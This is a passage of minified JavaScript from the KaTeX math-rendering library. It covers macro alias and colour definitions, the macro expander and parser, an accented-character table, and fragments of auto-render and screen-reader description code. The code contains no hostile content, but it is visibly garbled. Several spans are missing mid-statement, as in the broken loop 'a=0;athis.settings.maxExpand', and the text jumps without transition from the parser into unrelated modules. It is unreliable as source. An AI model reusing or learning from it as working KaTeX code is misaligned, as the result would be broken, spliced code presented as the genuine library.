2a74","\\Coloneqq"),dn("\\ratio","\\vcentcolon"),dn("\\coloncolon","\\dblcolon"),dn("\\colonequals","\\coloneqq"),dn("\\coloncolonequals","\\Coloneqq"),dn("\\equalscolon","\\eqqcolon"),dn("\\equalscoloncolon","\\Eqqcolon"),dn("\\colonminus","\\coloneq"),dn("\\coloncolonminus","\\Coloneq"),dn("\\minuscolon","\\eqcolon"),dn("\\minuscoloncolon","\\Eqcolon"),dn("\\coloncolonapprox","\\Colonapprox"),dn("\\coloncolonsim","\\Colonsim"),dn("\\simcolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\vcentcolon}"),dn("\\simcoloncolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\dblcolon}"),dn("\\approxcolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\vcentcolon}"),dn("\\approxcoloncolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\dblcolon}"),dn("\\notni","\\html@mathml{\\not\\ni}{\\mathrel{\\char`\u220c}}"),dn("\\limsup","\\DOTSB\\operatorname*{lim\\,sup}"),dn("\\liminf","\\DOTSB\\operatorname*{lim\\,inf}"),dn("\\injlim","\\DOTSB\\operatorname*{inj\\,lim}"),dn("\\projlim","\\DOTSB\\operatorname*{proj\\,lim}"),dn("\\varlimsup","\\DOTSB\\operatorname*{\\overline{lim}}"),dn("\\varliminf","\\DOTSB\\operatorname*{\\underline{lim}}"),dn("\\varinjlim","\\DOTSB\\operatorname*{\\underrightarrow{lim}}"),dn("\\varprojlim","\\DOTSB\\operatorname*{\\underleftarrow{lim}}"),dn("\\gvertneqq","\\html@mathml{\\@gvertneqq}{\u2269}"),dn("\\lvertneqq","\\html@mathml{\\@lvertneqq}{\u2268}"),dn("\\ngeqq","\\html@mathml{\\@ngeqq}{\u2271}"),dn("\\ngeqslant","\\html@mathml{\\@ngeqslant}{\u2271}"),dn("\\nleqq","\\html@mathml{\\@nleqq}{\u2270}"),dn("\\nleqslant","\\html@mathml{\\@nleqslant}{\u2270}"),dn("\\nshortmid","\\html@mathml{\\@nshortmid}{\u2224}"),dn("\\nshortparallel","\\html@mathml{\\@nshortparallel}{\u2226}"),dn("\\nsubseteqq","\\html@mathml{\\@nsubseteqq}{\u2288}"),dn("\\nsupseteqq","\\html@mathml{\\@nsupseteqq}{\u2289}"),dn("\\varsubsetneq","\\html@mathml{\\@varsubsetneq}{\u228a}"),dn("\\varsubsetneqq","\\html@mathml{\\@varsubsetneqq}{\u2acb}"),dn("\\varsupsetneq","\\html@mathml{\\@varsupsetneq}{\u228b}"),dn("\\varsupsetneqq","\\html@mathml{\\@varsupsetneqq}{\u2acc}"),dn("\\imath","\\html@mathml{\\@imath}{\u0131}"),dn("\\jmath","\\html@mathml{\\@jmath}{\u0237}"),dn("\\llbracket","\\html@mathml{\\mathopen{[\\mkern-3.2mu[}}{\\mathopen{\\char`\u27e6}}"),dn("\\rrbracket","\\html@mathml{\\mathclose{]\\mkern-3.2mu]}}{\\mathclose{\\char`\u27e7}}"),dn("\u27e6","\\llbracket"),dn("\u27e7","\\rrbracket"),dn("\\lBrace","\\html@mathml{\\mathopen{\\{\\mkern-3.2mu[}}{\\mathopen{\\char`\u2983}}"),dn("\\rBrace","\\html@mathml{\\mathclose{]\\mkern-3.2mu\\}}}{\\mathclose{\\char`\u2984}}"),dn("\u2983","\\lBrace"),dn("\u2984","\\rBrace"),dn("\\minuso","\\mathbin{\\html@mathml{{\\mathrlap{\\mathchoice{\\kern{0.145em}}{\\kern{0.145em}}{\\kern{0.1015em}}{\\kern{0.0725em}}\\circ}{-}}}{\\char`\u29b5}}"),dn("\u29b5","\\minuso"),dn("\\darr","\\downarrow"),dn("\\dArr","\\Downarrow"),dn("\\Darr","\\Downarrow"),dn("\\lang","\\langle"),dn("\\rang","\\rangle"),dn("\\uarr","\\uparrow"),dn("\\uArr","\\Uparrow"),dn("\\Uarr","\\Uparrow"),dn("\\N","\\mathbb{N}"),dn("\\R","\\mathbb{R}"),dn("\\Z","\\mathbb{Z}"),dn("\\alef","\\aleph"),dn("\\alefsym","\\aleph"),dn("\\Alpha","\\mathrm{A}"),dn("\\Beta","\\mathrm{B}"),dn("\\bull","\\bullet"),dn("\\Chi","\\mathrm{X}"),dn("\\clubs","\\clubsuit"),dn("\\cnums","\\mathbb{C}"),dn("\\Complex","\\mathbb{C}"),dn("\\Dagger","\\ddagger"),dn("\\diamonds","\\diamondsuit"),dn("\\empty","\\emptyset"),dn("\\Epsilon","\\mathrm{E}"),dn("\\Eta","\\mathrm{H}"),dn("\\exist","\\exists"),dn("\\harr","\\leftrightarrow"),dn("\\hArr","\\Leftrightarrow"),dn("\\Harr","\\Leftrightarrow"),dn("\\hearts","\\heartsuit"),dn("\\image","\\Im"),dn("\\infin","\\infty"),dn("\\Iota","\\mathrm{I}"),dn("\\isin","\\in"),dn("\\Kappa","\\mathrm{K}"),dn("\\larr","\\leftarrow"),dn("\\lArr","\\Leftarrow"),dn("\\Larr","\\Leftarrow"),dn("\\lrarr","\\leftrightarrow"),dn("\\lrArr","\\Leftrightarrow"),dn("\\Lrarr","\\Leftrightarrow"),dn("\\Mu","\\mathrm{M}"),dn("\\natnums","\\mathbb{N}"),dn("\\Nu","\\mathrm{N}"),dn("\\Omicron","\\mathrm{O}"),dn("\\plusmn","\\pm"),dn("\\rarr","\\rightarrow"),dn("\\rArr","\\Rightarrow"),dn("\\Rarr","\\Rightarrow"),dn("\\real","\\Re"),dn("\\reals","\\mathbb{R}"),dn("\\Reals","\\mathbb{R}"),dn("\\Rho","\\mathrm{P}"),dn("\\sdot","\\cdot"),dn("\\sect","\\S"),dn("\\spades","\\spadesuit"),dn("\\sub","\\subset"),dn("\\sube","\\subseteq"),dn("\\supe","\\supseteq"),dn("\\Tau","\\mathrm{T}"),dn("\\thetasym","\\vartheta"),dn("\\weierp","\\wp"),dn("\\Zeta","\\mathrm{Z}"),dn("\\argmin","\\DOTSB\\operatorname*{arg\\,min}"),dn("\\argmax","\\DOTSB\\operatorname*{arg\\,max}"),dn("\\plim","\\DOTSB\\mathop{\\operatorname{plim}}\\limits"),dn("\\bra","\\mathinner{\\langle{#1}|}"),dn("\\ket","\\mathinner{|{#1}\\rangle}"),dn("\\braket","\\mathinner{\\langle{#1}\\rangle}"),dn("\\Bra","\\left\\langle#1\\right|"),dn("\\Ket","\\left|#1\\right\\rangle"),dn("\\angln","{\\angl n}"),dn("\\blue","\\textcolor{##6495ed}{#1}"),dn("\\orange","\\textcolor{##ffa500}{#1}"),dn("\\pink","\\textcolor{##ff00af}{#1}"),dn("\\red","\\textcolor{##df0030}{#1}"),dn("\\green","\\textcolor{##28ae7b}{#1}"),dn("\\gray","\\textcolor{gray}{#1}"),dn("\\purple","\\textcolor{##9d38bd}{#1}"),dn("\\blueA","\\textcolor{##ccfaff}{#1}"),dn("\\blueB","\\textcolor{##80f6ff}{#1}"),dn("\\blueC","\\textcolor{##63d9ea}{#1}"),dn("\\blueD","\\textcolor{##11accd}{#1}"),dn("\\blueE","\\textcolor{##0c7f99}{#1}"),dn("\\tealA","\\textcolor{##94fff5}{#1}"),dn("\\tealB","\\textcolor{##26edd5}{#1}"),dn("\\tealC","\\textcolor{##01d1c1}{#1}"),dn("\\tealD","\\textcolor{##01a995}{#1}"),dn("\\tealE","\\textcolor{##208170}{#1}"),dn("\\greenA","\\textcolor{##b6ffb0}{#1}"),dn("\\greenB","\\textcolor{##8af281}{#1}"),dn("\\greenC","\\textcolor{##74cf70}{#1}"),dn("\\greenD","\\textcolor{##1fab54}{#1}"),dn("\\greenE","\\textcolor{##0d923f}{#1}"),dn("\\goldA","\\textcolor{##ffd0a9}{#1}"),dn("\\goldB","\\textcolor{##ffbb71}{#1}"),dn("\\goldC","\\textcolor{##ff9c39}{#1}"),dn("\\goldD","\\textcolor{##e07d10}{#1}"),dn("\\goldE","\\textcolor{##a75a05}{#1}"),dn("\\redA","\\textcolor{##fca9a9}{#1}"),dn("\\redB","\\textcolor{##ff8482}{#1}"),dn("\\redC","\\textcolor{##f9685d}{#1}"),dn("\\redD","\\textcolor{##e84d39}{#1}"),dn("\\redE","\\textcolor{##bc2612}{#1}"),dn("\\maroonA","\\textcolor{##ffbde0}{#1}"),dn("\\maroonB","\\textcolor{##ff92c6}{#1}"),dn("\\maroonC","\\textcolor{##ed5fa6}{#1}"),dn("\\maroonD","\\textcolor{##ca337c}{#1}"),dn("\\maroonE","\\textcolor{##9e034e}{#1}"),dn("\\purpleA","\\textcolor{##ddd7ff}{#1}"),dn("\\purpleB","\\textcolor{##c6b9fc}{#1}"),dn("\\purpleC","\\textcolor{##aa87ff}{#1}"),dn("\\purpleD","\\textcolor{##7854ab}{#1}"),dn("\\purpleE","\\textcolor{##543b78}{#1}"),dn("\\mintA","\\textcolor{##f5f9e8}{#1}"),dn("\\mintB","\\textcolor{##edf2df}{#1}"),dn("\\mintC","\\textcolor{##e0e5cc}{#1}"),dn("\\grayA","\\textcolor{##f6f7f7}{#1}"),dn("\\grayB","\\textcolor{##f0f1f2}{#1}"),dn("\\grayC","\\textcolor{##e3e5e6}{#1}"),dn("\\grayD","\\textcolor{##d6d8da}{#1}"),dn("\\grayE","\\textcolor{##babec2}{#1}"),dn("\\grayF","\\textcolor{##888d93}{#1}"),dn("\\grayG","\\textcolor{##626569}{#1}"),dn("\\grayH","\\textcolor{##3b3e40}{#1}"),dn("\\grayI","\\textcolor{##21242c}{#1}"),dn("\\kaBlue","\\textcolor{##314453}{#1}"),dn("\\kaGreen","\\textcolor{##71B307}{#1}");var Vn={"\\relax":!0,"^":!0,_:!0,"\\limits":!0,"\\nolimits":!0},Gn=function(){function e(e,t,r){this.settings=void 0,this.expansionCount=void 0,this.lexer=void 0,this.macros=void 0,this.stack=void 0,this.mode=void 0,this.settings=t,this.expansionCount=0,this.feed(e),this.macros=new On(En,t.macros),this.mode=r,this.stack=[]}var t=e.prototype;return t.feed=function(e){this.lexer=new Rn(e,this.settings)},t.switchMode=function(e){this.mode=e},t.beginGroup=function(){this.macros.beginGroup()},t.endGroup=function(){this.macros.endGroup()},t.endGroups=function(){this.macros.endGroups()},t.future=function(){return 0===this.stack.length&&this.pushToken(this.lexer.lex()),this.stack[this.stack.length-1]},t.popToken=function(){return this.future(),this.stack.pop()},t.pushToken=function(e){this.stack.push(e)},t.pushTokens=function(e){var t;(t=this.stack).push.apply(t,e)},t.scanArgument=function(e){var t,r,n;if(e){if(this.consumeSpaces(),"["!==this.future().text)return null;t=this.popToken();var a=this.consumeArg(["]"]);n=a.tokens,r=a.end}else{var i=this.consumeArg();n=i.tokens,t=i.start,r=i.end}return this.pushToken(new Cn("EOF",r.loc)),this.pushTokens(n),t.range(r,"")},t.consumeSpaces=function(){for(;;){if(" "!==this.future().text)break;this.stack.pop()}},t.consumeArg=function(e){var t=[],r=e&&e.length>0;r||this.consumeSpaces();var a,i=this.future(),o=0,s=0;do{if(a=this.popToken(),t.push(a),"{"===a.text)++o;else if("}"===a.text){if(-1===--o)throw new n("Extra }",a)}else if("EOF"===a.text)throw new n("Unexpected end of input in a macro argument, expected '"+(e&&r?e[s]:"}")+"'",a);if(e&&r)if((0===o||1===o&&"{"===e[s])&&a.text===e[s]){if(++s===e.length){t.splice(-s,s);break}}else s=0}while(0!==o||r);return"{"===i.text&&"}"===t[t.length-1].text&&(t.pop(),t.shift()),t.reverse(),{tokens:t,start:i,end:a}},t.consumeArgs=function(e,t){if(t){if(t.length!==e+1)throw new n("The length of delimiters doesn't match the number of args!");for(var r=t[0],a=0;athis.settings.maxExpand)throw new n("Too many expansions: infinite loop or need to increase maxExpand setting");var i=a.tokens,o=this.consumeArgs(a.numArgs,a.delimiters);if(a.numArgs)for(var s=(i=i.slice()).length-1;s>=0;--s){var l=i[s];if("#"===l.text){if(0===s)throw new n("Incomplete placeholder at end of macro body",l);if("#"===(l=i[--s]).text)i.splice(s+1,1);else{if(!/^[1-9]$/.test(l.text))throw new n("Not a valid argument number",l);var h;(h=i).splice.apply(h,[s,2].concat(o[+l.text-1]))}}}return this.pushTokens(i),i},t.expandAfterFuture=function(){return this.expandOnce(),this.future()},t.expandNextToken=function(){for(;;){var e=this.expandOnce();if(e instanceof Cn){if("\\relax"!==e.text&&!e.treatAsRelax)return this.stack.pop();this.stack.pop()}}throw new Error},t.expandMacro=function(e){return this.macros.has(e)?this.expandTokens([new Cn(e)]):void 0},t.expandTokens=function(e){var t=[],r=this.stack.length;for(this.pushTokens(e);this.stack.length>r;){var n=this.expandOnce(!0);n instanceof Cn&&(n.treatAsRelax&&(n.noexpand=!1,n.treatAsRelax=!1),t.push(this.stack.pop()))}return t},t.expandMacroAsText=function(e){var t=this.expandMacro(e);return t?t.map((function(e){return e.text})).join(""):t},t._getExpansion=function(e){var t=this.macros.get(e);if(null==t)return t;if(1===e.length){var r=this.lexer.catcodes[e];if(null!=r&&13!==r)return}var n="function"==typeof t?t(this):t;if("string"==typeof n){var a=0;if(-1!==n.indexOf("#"))for(var i=n.replace(/##/g,"");-1!==i.indexOf("#"+(a+1));)++a;for(var o=new Rn(n,this.settings),s=[],l=o.lex();"EOF"!==l.text;)s.push(l),l=o.lex();return s.reverse(),{tokens:s,numArgs:a}}return n},t.isDefined=function(e){return this.macros.has(e)||Nn.hasOwnProperty(e)||X.math.hasOwnProperty(e)||X.text.hasOwnProperty(e)||Vn.hasOwnProperty(e)},t.isExpandable=function(e){var t=this.macros.get(e);return null!=t?"string"==typeof t||"function"==typeof t||!t.unexpandable:Nn.hasOwnProperty(e)&&!Nn[e].primitive},e}(),Un={"\u0301":{text:"\\'",math:"\\acute"},"\u0300":{text:"\\`",math:"\\grave"},"\u0308":{text:'\\"',math:"\\ddot"},"\u0303":{text:"\\~",math:"\\tilde"},"\u0304":{text:"\\=",math:"\\bar"},"\u0306":{text:"\\u",math:"\\breve"},"\u030c":{text:"\\v",math:"\\check"},"\u0302":{text:"\\^",math:"\\hat"},"\u0307":{text:"\\.",math:"\\dot"},"\u030a":{text:"\\r",math:"\\mathring"},"\u030b":{text:"\\H"},"\u0327":{text:"\\c"}},Yn={"\xe1":"a\u0301","\xe0":"a\u0300","\xe4":"a\u0308","\u01df":"a\u0308\u0304","\xe3":"a\u0303","\u0101":"a\u0304","\u0103":"a\u0306","\u1eaf":"a\u0306\u0301","\u1eb1":"a\u0306\u0300","\u1eb5":"a\u0306\u0303","\u01ce":"a\u030c","\xe2":"a\u0302","\u1ea5":"a\u0302\u0301","\u1ea7":"a\u0302\u0300","\u1eab":"a\u0302\u0303","\u0227":"a\u0307","\u01e1":"a\u0307\u0304","\xe5":"a\u030a","\u01fb":"a\u030a\u0301","\u1e03":"b\u0307","\u0107":"c\u0301","\u1e09":"c\u0327\u0301","\u010d":"c\u030c","\u0109":"c\u0302","\u010b":"c\u0307","\xe7":"c\u0327","\u010f":"d\u030c","\u1e0b":"d\u0307","\u1e11":"d\u0327","\xe9":"e\u0301","\xe8":"e\u0300","\xeb":"e\u0308","\u1ebd":"e\u0303","\u0113":"e\u0304","\u1e17":"e\u0304\u0301","\u1e15":"e\u0304\u0300","\u0115":"e\u0306","\u1e1d":"e\u0327\u0306","\u011b":"e\u030c","\xea":"e\u0302","\u1ebf":"e\u0302\u0301","\u1ec1":"e\u0302\u0300","\u1ec5":"e\u0302\u0303","\u0117":"e\u0307","\u0229":"e\u0327","\u1e1f":"f\u0307","\u01f5":"g\u0301","\u1e21":"g\u0304","\u011f":"g\u0306","\u01e7":"g\u030c","\u011d":"g\u0302","\u0121":"g\u0307","\u0123":"g\u0327","\u1e27":"h\u0308","\u021f":"h\u030c","\u0125":"h\u0302","\u1e23":"h\u0307","\u1e29":"h\u0327","\xed":"i\u0301","\xec":"i\u0300","\xef":"i\u0308","\u1e2f":"i\u0308\u0301","\u0129":"i\u0303","\u012b":"i\u0304","\u012d":"i\u0306","\u01d0":"i\u030c","\xee":"i\u0302","\u01f0":"j\u030c","\u0135":"j\u0302","\u1e31":"k\u0301","\u01e9":"k\u030c","\u0137":"k\u0327","\u013a":"l\u0301","\u013e":"l\u030c","\u013c":"l\u0327","\u1e3f":"m\u0301","\u1e41":"m\u0307","\u0144":"n\u0301","\u01f9":"n\u0300","\xf1":"n\u0303","\u0148":"n\u030c","\u1e45":"n\u0307","\u0146":"n\u0327","\xf3":"o\u0301","\xf2":"o\u0300","\xf6":"o\u0308","\u022b":"o\u0308\u0304","\xf5":"o\u0303","\u1e4d":"o\u0303\u0301","\u1e4f":"o\u0303\u0308","\u022d":"o\u0303\u0304","\u014d":"o\u0304","\u1e53":"o\u0304\u0301","\u1e51":"o\u0304\u0300","\u014f":"o\u0306","\u01d2":"o\u030c","\xf4":"o\u0302","\u1ed1":"o\u0302\u0301","\u1ed3":"o\u0302\u0300","\u1ed7":"o\u0302\u0303","\u022f":"o\u0307","\u0231":"o\u0307\u0304","\u0151":"o\u030b","\u1e55":"p\u0301","\u1e57":"p\u0307","\u0155":"r\u0301","\u0159":"r\u030c","\u1e59":"r\u0307","\u0157":"r\u0327","\u015b":"s\u0301","\u1e65":"s\u0301\u0307","\u0161":"s\u030c","\u1e67":"s\u030c\u0307","\u015d":"s\u0302","\u1e61":"s\u0307","\u015f":"s\u0327","\u1e97":"t\u0308","\u0165":"t\u030c","\u1e6b":"t\u0307","\u0163":"t\u0327","\xfa":"u\u0301","\xf9":"u\u0300","\xfc":"u\u0308","\u01d8":"u\u0308\u0301","\u01dc":"u\u0308\u0300","\u01d6":"u\u0308\u0304","\u01da":"u\u0308\u030c","\u0169":"u\u0303","\u1e79":"u\u0303\u0301","\u016b":"u\u0304","\u1e7b":"u\u0304\u0308","\u016d":"u\u0306","\u01d4":"u\u030c","\xfb":"u\u0302","\u016f":"u\u030a","\u0171":"u\u030b","\u1e7d":"v\u0303","\u1e83":"w\u0301","\u1e81":"w\u0300","\u1e85":"w\u0308","\u0175":"w\u0302","\u1e87":"w\u0307","\u1e98":"w\u030a","\u1e8d":"x\u0308","\u1e8b":"x\u0307","\xfd":"y\u0301","\u1ef3":"y\u0300","\xff":"y\u0308","\u1ef9":"y\u0303","\u0233":"y\u0304","\u0177":"y\u0302","\u1e8f":"y\u0307","\u1e99":"y\u030a","\u017a":"z\u0301","\u017e":"z\u030c","\u1e91":"z\u0302","\u017c":"z\u0307","\xc1":"A\u0301","\xc0":"A\u0300","\xc4":"A\u0308","\u01de":"A\u0308\u0304","\xc3":"A\u0303","\u0100":"A\u0304","\u0102":"A\u0306","\u1eae":"A\u0306\u0301","\u1eb0":"A\u0306\u0300","\u1eb4":"A\u0306\u0303","\u01cd":"A\u030c","\xc2":"A\u0302","\u1ea4":"A\u0302\u0301","\u1ea6":"A\u0302\u0300","\u1eaa":"A\u0302\u0303","\u0226":"A\u0307","\u01e0":"A\u0307\u0304","\xc5":"A\u030a","\u01fa":"A\u030a\u0301","\u1e02":"B\u0307","\u0106":"C\u0301","\u1e08":"C\u0327\u0301","\u010c":"C\u030c","\u0108":"C\u0302","\u010a":"C\u0307","\xc7":"C\u0327","\u010e":"D\u030c","\u1e0a":"D\u0307","\u1e10":"D\u0327","\xc9":"E\u0301","\xc8":"E\u0300","\xcb":"E\u0308","\u1ebc":"E\u0303","\u0112":"E\u0304","\u1e16":"E\u0304\u0301","\u1e14":"E\u0304\u0300","\u0114":"E\u0306","\u1e1c":"E\u0327\u0306","\u011a":"E\u030c","\xca":"E\u0302","\u1ebe":"E\u0302\u0301","\u1ec0":"E\u0302\u0300","\u1ec4":"E\u0302\u0303","\u0116":"E\u0307","\u0228":"E\u0327","\u1e1e":"F\u0307","\u01f4":"G\u0301","\u1e20":"G\u0304","\u011e":"G\u0306","\u01e6":"G\u030c","\u011c":"G\u0302","\u0120":"G\u0307","\u0122":"G\u0327","\u1e26":"H\u0308","\u021e":"H\u030c","\u0124":"H\u0302","\u1e22":"H\u0307","\u1e28":"H\u0327","\xcd":"I\u0301","\xcc":"I\u0300","\xcf":"I\u0308","\u1e2e":"I\u0308\u0301","\u0128":"I\u0303","\u012a":"I\u0304","\u012c":"I\u0306","\u01cf":"I\u030c","\xce":"I\u0302","\u0130":"I\u0307","\u0134":"J\u0302","\u1e30":"K\u0301","\u01e8":"K\u030c","\u0136":"K\u0327","\u0139":"L\u0301","\u013d":"L\u030c","\u013b":"L\u0327","\u1e3e":"M\u0301","\u1e40":"M\u0307","\u0143":"N\u0301","\u01f8":"N\u0300","\xd1":"N\u0303","\u0147":"N\u030c","\u1e44":"N\u0307","\u0145":"N\u0327","\xd3":"O\u0301","\xd2":"O\u0300","\xd6":"O\u0308","\u022a":"O\u0308\u0304","\xd5":"O\u0303","\u1e4c":"O\u0303\u0301","\u1e4e":"O\u0303\u0308","\u022c":"O\u0303\u0304","\u014c":"O\u0304","\u1e52":"O\u0304\u0301","\u1e50":"O\u0304\u0300","\u014e":"O\u0306","\u01d1":"O\u030c","\xd4":"O\u0302","\u1ed0":"O\u0302\u0301","\u1ed2":"O\u0302\u0300","\u1ed6":"O\u0302\u0303","\u022e":"O\u0307","\u0230":"O\u0307\u0304","\u0150":"O\u030b","\u1e54":"P\u0301","\u1e56":"P\u0307","\u0154":"R\u0301","\u0158":"R\u030c","\u1e58":"R\u0307","\u0156":"R\u0327","\u015a":"S\u0301","\u1e64":"S\u0301\u0307","\u0160":"S\u030c","\u1e66":"S\u030c\u0307","\u015c":"S\u0302","\u1e60":"S\u0307","\u015e":"S\u0327","\u0164":"T\u030c","\u1e6a":"T\u0307","\u0162":"T\u0327","\xda":"U\u0301","\xd9":"U\u0300","\xdc":"U\u0308","\u01d7":"U\u0308\u0301","\u01db":"U\u0308\u0300","\u01d5":"U\u0308\u0304","\u01d9":"U\u0308\u030c","\u0168":"U\u0303","\u1e78":"U\u0303\u0301","\u016a":"U\u0304","\u1e7a":"U\u0304\u0308","\u016c":"U\u0306","\u01d3":"U\u030c","\xdb":"U\u0302","\u016e":"U\u030a","\u0170":"U\u030b","\u1e7c":"V\u0303","\u1e82":"W\u0301","\u1e80":"W\u0300","\u1e84":"W\u0308","\u0174":"W\u0302","\u1e86":"W\u0307","\u1e8c":"X\u0308","\u1e8a":"X\u0307","\xdd":"Y\u0301","\u1ef2":"Y\u0300","\u0178":"Y\u0308","\u1ef8":"Y\u0303","\u0232":"Y\u0304","\u0176":"Y\u0302","\u1e8e":"Y\u0307","\u0179":"Z\u0301","\u017d":"Z\u030c","\u1e90":"Z\u0302","\u017b":"Z\u0307","\u03ac":"\u03b1\u0301","\u1f70":"\u03b1\u0300","\u1fb1":"\u03b1\u0304","\u1fb0":"\u03b1\u0306","\u03ad":"\u03b5\u0301","\u1f72":"\u03b5\u0300","\u03ae":"\u03b7\u0301","\u1f74":"\u03b7\u0300","\u03af":"\u03b9\u0301","\u1f76":"\u03b9\u0300","\u03ca":"\u03b9\u0308","\u0390":"\u03b9\u0308\u0301","\u1fd2":"\u03b9\u0308\u0300","\u1fd1":"\u03b9\u0304","\u1fd0":"\u03b9\u0306","\u03cc":"\u03bf\u0301","\u1f78":"\u03bf\u0300","\u03cd":"\u03c5\u0301","\u1f7a":"\u03c5\u0300","\u03cb":"\u03c5\u0308","\u03b0":"\u03c5\u0308\u0301","\u1fe2":"\u03c5\u0308\u0300","\u1fe1":"\u03c5\u0304","\u1fe0":"\u03c5\u0306","\u03ce":"\u03c9\u0301","\u1f7c":"\u03c9\u0300","\u038e":"\u03a5\u0301","\u1fea":"\u03a5\u0300","\u03ab":"\u03a5\u0308","\u1fe9":"\u03a5\u0304","\u1fe8":"\u03a5\u0306","\u038f":"\u03a9\u0301","\u1ffa":"\u03a9\u0300"},Wn=function(){function e(e,t){this.mode=void 0,this.gullet=void 0,this.settings=void 0,this.leftrightDepth=void 0,this.nextToken=void 0,this.mode="math",this.gullet=new Gn(e,t,this.mode),this.settings=t,this.leftrightDepth=0}var t=e.prototype;return t.expect=function(e,t){if(void 0===t&&(t=!0),this.fetch().text!==e)throw new n("Expected '"+e+"', got '"+this.fetch().text+"'",this.fetch());t&&this.consume()},t.consume=function(){this.nextToken=null},t.fetch=function(){return null==this.nextToken&&(this.nextToken=this.gullet.expandNextToken()),this.nextToken},t.switchMode=function(e){this.mode=e,this.gullet.switchMode(e)},t.parse=function(){this.settings.globalGroup||this.gullet.beginGroup(),this.settings.colorIsTextColor&&this.gullet.macros.set("\\color","\\textcolor");try{var e=this.parseExpression(!1);return this.expect("EOF"),this.settings.globalGroup||this.gullet.endGroup(),e}finally{this.gullet.endGroups()}},t.parseExpression=function(t,r){for(var n=[];;){"math"===this.mode&&this.consumeSpaces();var a=this.fetch();if(-1!==e.endOfExpression.indexOf(a.text))break;if(r&&a.text===r)break;if(t&&Nn[a.text]&&Nn[a.text].infix)break;var i=this.parseAtom(r);if(!i)break;"internal"!==i.type&&n.push(i)}return"text"===this.mode&&this.formLigatures(n),this.handleInfixNodes(n)},t.handleInfixNodes=function(e){for(var t,r=-1,a=0;a=0&&this.settings.reportNonstrict("unicodeTextInMathMode",'Latin-1/Unicode text character "'+t[0]+'" used in math mode',e);var s,l=X[this.mode][t].group,h=qn.range(e);if(U.hasOwnProperty(l)){var m=l;s={type:"atom",mode:this.mode,family:m,loc:h,text:t}}else s={type:l,mode:this.mode,loc:h,text:t};i=s}else{if(!(t.charCodeAt(0)>=128))return null;this.settings.strict&&(w(t.charCodeAt(0))?"math"===this.mode&&this.settings.reportNonstrict("unicodeTextInMathMode",'Unicode text character "'+t[0]+'" used in math mode',e):this.settings.reportNonstrict("unknownSymbol",'Unrecognized Unicode character "'+t[0]+'" ('+t.charCodeAt(0)+")",e)),i={type:"textord",mode:"text",loc:qn.range(e),text:t}}if(this.consume(),o)for(var c=0;c0&&(a.push({type:"text",data:e.slice(0,n)}),e=e.slice(n));var l=t.findIndex((function(t){return e.startsWith(t.left)}));if(-1===(n=r(t[l].right,e,t[l].left.length)))break;var d=e.slice(0,n+t[l].right.length),s=i.test(d)?d:e.slice(t[l].left.length,n);a.push({type:"math",data:s,rawData:d,display:t[l].display}),e=e.slice(n+t[l].right.length)}return""!==e&&a.push({type:"text",data:e}),a},l=function(e,r){var n=o(e,r.delimiters);if(1===n.length&&"text"===n[0].type)return null;for(var a=document.createDocumentFragment(),i=0;i":"is greater than","<":"is less than","\\leftarrow":"left arrow","\\Leftarrow":"left arrow","\\rightarrow":"right arrow","\\Rightarrow":"right arrow",":":"colon"},d={"\\underleftarrow":"left arrow","\\underrightarrow":"right arrow","\\underleftrightarrow":"left-right arrow","\\undergroup":"group","\\underlinesegment":"line segment","\\utilde":"tilde"},b=function(e,r,a){var t;e&&(/^\d+$/.test(t="open"===r?e in l?l[e]:s[e]||e:"close"===r?e in c?c[e]:s[e]||e:"bin"===r?u[e]||e:"rel"===r?p[e]||e:s[e]||e)&&a.length>0&&/^\d+$/.test(a[a.length-1])?a[a.length-1]+=t:t&&a.push(t))},h=function(e,r){var a=[];e.push(a),r(a)},m=function(e,r,a){switch(e.type){case"accent":h(r,(function(r){f(e.base,r,a),r.push("with"),b(e.label,"normal",r),r.push("on top")}));break;case"accentUnder":h(r,(function(r){f(e.base,r,a),r.push("with"),b(d[e.label],"normal",r),r.push("underneath")}));break;case"accent-token":break;case"atom":var t=e.text;switch(e.family){case"bin":b(t,"bin",r);break;case"close":b(t,"close",r);break;case"inner":b(e.text,"inner",r);break;case"open":b(t,"open",r);break;case"punct":b(t,"punct",r);break;case"rel":b(t,"rel",r);break;default:throw e.family,new Error('"'+e.family+'" is not a valid atom type')}break;case"color":var o=e.color.replace(/katex-/,"");h(r,(function(r){r.push("start color "+o),f(e.body,r,a),r.push("end color "+o)}));break;case"color-token":break;case"delimsizing":e.delim&&"."!==e.delim&&b(e.delim,"normal",r);break;case"genfrac":h(r,(function(r){var t=e.leftDelim,o=e.rightDelim;e.hasBarLine?(r.push("start fraction"),t&&b(t,"open",r),f(e.numer,r,a),r.push("divided by"),f(e.denom,r,a),o&&b(o,"close",r),r.push("end fraction")):(r.push("start binomial"),t&&b(t,"open",r),f(e.numer,r,a),r.push("over"),f(e.denom,r,a),o&&b(o,"close",r),r.push("end binomial"))}));break;case"hbox":f(e.body,r,a);break;case"kern":break;case"leftright":h(r,(function(r){b(e.left,"open",r),f(e.body,r,a),b(e.right,"close",r)}));break;case"leftright-right":break;case"lap":f(e.body,r,a);break;case"mathord":b(e.text,"normal",r);break;case"op":var n=e.body,s=e.name;n?f(n,r,a):s&&b(s,"normal",r);break;case"op-token":b(e.text,a,r);break;case"ordgroup":f(e.body,r,a);break;case"overline":h(r,(function(r){r.push("start overline"),f(e.body,r,a),r.push("end overline")}));break;case"phantom":r.push("empty space");break;case"raisebox":f(e.body,r,a);break;case"rule":r.push("rectangle");break;case"sizing":f(e.body,r,a);break;case"spacing":r.push("space");break;case"styling":f(e.body,r,a);break;case"sqrt":h(r,(function(r){var t=e.body,o=e.index;if(o)return"3"===y(f(o,[],a)).join(",")?(r.push("cube root of"),f(t,r,a),void r.push("end cube root")):(r.push("root"),r.push("start index"),f(o,r,a),void r.push("end index"));r.push("square root of"),f(t,r,a),r.push("end square root")}));break;case"supsub":var l=e.base,c=e.sub,u=e.sup,p=!1;if(l&&(f(l,r,a),p="op"===l.type&&"\\log"===l.name),c){var m=p?"base":"subscript";h(r,(function(e){e.push("start "+m),f(c,e,a),e.push("end "+m)}))}u&&h(r,(function(e){var r=y(f(u,[],a)).join(",");r in i?e.push(i[r]):(e.push("start superscript"),f(u,e,a),e.push("end superscript"))}));break;case"text":if("\\textbf"===e.font){h(r,(function(r){r.push("start bold text"),f(e.body,r,a),r.push("end bold text")}));break}h(r,(function(r){r.push("start text"),f(e.body,r,a),r.push("end 